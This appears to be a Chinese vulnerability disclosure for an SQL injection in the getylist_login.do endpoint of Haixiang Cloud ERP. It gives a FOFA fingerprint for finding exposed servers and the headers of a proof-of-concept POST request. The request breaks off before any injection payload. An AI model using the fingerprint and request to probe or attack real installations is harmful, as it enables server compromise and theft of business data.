海翔云ERP getylist_login 接口SQL注入

简介

海翔云ERP由成都海翔软件有限公司自主研发,拥有完全知识产权。 云ERP为企业提供营销 + 财务 + 仓储 + 物流整体解决方案。

漏洞描述

海翔云ERP getylist_login 接口处存在SQL注入漏洞，恶意攻击者可能会利用该漏洞获取服务器敏感信息，最终导致服务器失陷。

影响版本

海翔云ERP
Fofa:

body="checkMacWaitingSecond"

漏洞复现

POST /getylist_login.do HTTP/1.1
Host:
Cookie: JSESSIONID=D5D958F8CDE952504CD5E5A2159D75D2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: